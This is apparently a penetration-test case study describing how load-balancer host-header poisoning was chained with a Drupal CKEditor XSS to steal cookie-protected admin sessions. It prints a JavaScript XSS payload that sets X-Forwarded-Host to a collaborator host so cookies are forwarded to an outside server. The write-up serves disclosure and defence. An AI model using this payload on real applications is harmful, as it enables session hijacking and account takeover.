In this article, we will explore a real-world scenario involving the exploitation of a load balancer vulnerability and cross-site scripting (XSS) to hijack cookies in an application. While specific names and screenshots will be omitted due to non-disclosure agreements (NDAs), we will examine the attack flow and its implications. By chaining the load balancer’s host-header poisoning vulnerability with an XSS attack, the attacker was able to bypass cookie protection mechanisms and gain unauthorized access to sensitive information. This case study serves as a reminder of the critical importance of addressing and mitigating such vulnerabilities to safeguard applications and user data.
From a Black-Box perspective, the application’s interaction flow can be summarized as follows.
During testing, a load balancer vulnerability was discovered, allowing the injection of a Host-Header. By injecting a custom X-Forwarded-Host header, the attacker could confuse the load balancer’s cookie check and make it forward cookies to their own server instead of the authz server.
Here is an example.
Injecting a X-Forwarded-Host to a request. In this case, this was Burp Collaborator Server.
This injection causes the load balancer to forward cookies not to the legit authz server, but to the collaborator server instead.
So when injecting a malicious Host header the flow changes to this:
Proceeding with testing the application an XSS vulnerability was found. However, the cookies were protected with security flags, making it difficult to directly hijack an admin session.
But why care about flags if the XSS could be used to perform host-header poisoning and force the load balancer to send all the cookies?
So the next payload was constructed:
function httpGet(Url)
{
var xmlHttp = new XMLHttpRequest(); // Create a new XMLHttpRequest object
xmlHttp.open( “GET”, Url, false ); // Initialize the request
**xmlHttp.setRequestHeader(“X-Forwarded-Host”, “https://collaborator-server.com"); // Set a custom HTTP header (X-Forwarded-Host) pointing to collaborator server**
xmlHttp.send( null ); // Send the request
return xmlHttp.responseText;
}
httpGet(“https://vulnerableapp.host/"); // Run payload
Maybe you are questioning how it will work if the cookies were protected with security flags.
It was a discovery, that cookies will be automatically appended to the request when initiating an XMLHttpRequest within the same domain.
The XSS itself was pretty much usual — Drupal CKEditor XSS. Some obfuscating needed to be done
due to the filters, though nothing extraordinary.
The attack proceeded as follows:
By combining the load balancer vulnerability and the XSS attack it was possible to bypass cookie protection mechanisms and gain unauthorized access to the admin account.
This article emphasizes the importance of addressing load balancer vulnerabilities to prevent such attacks.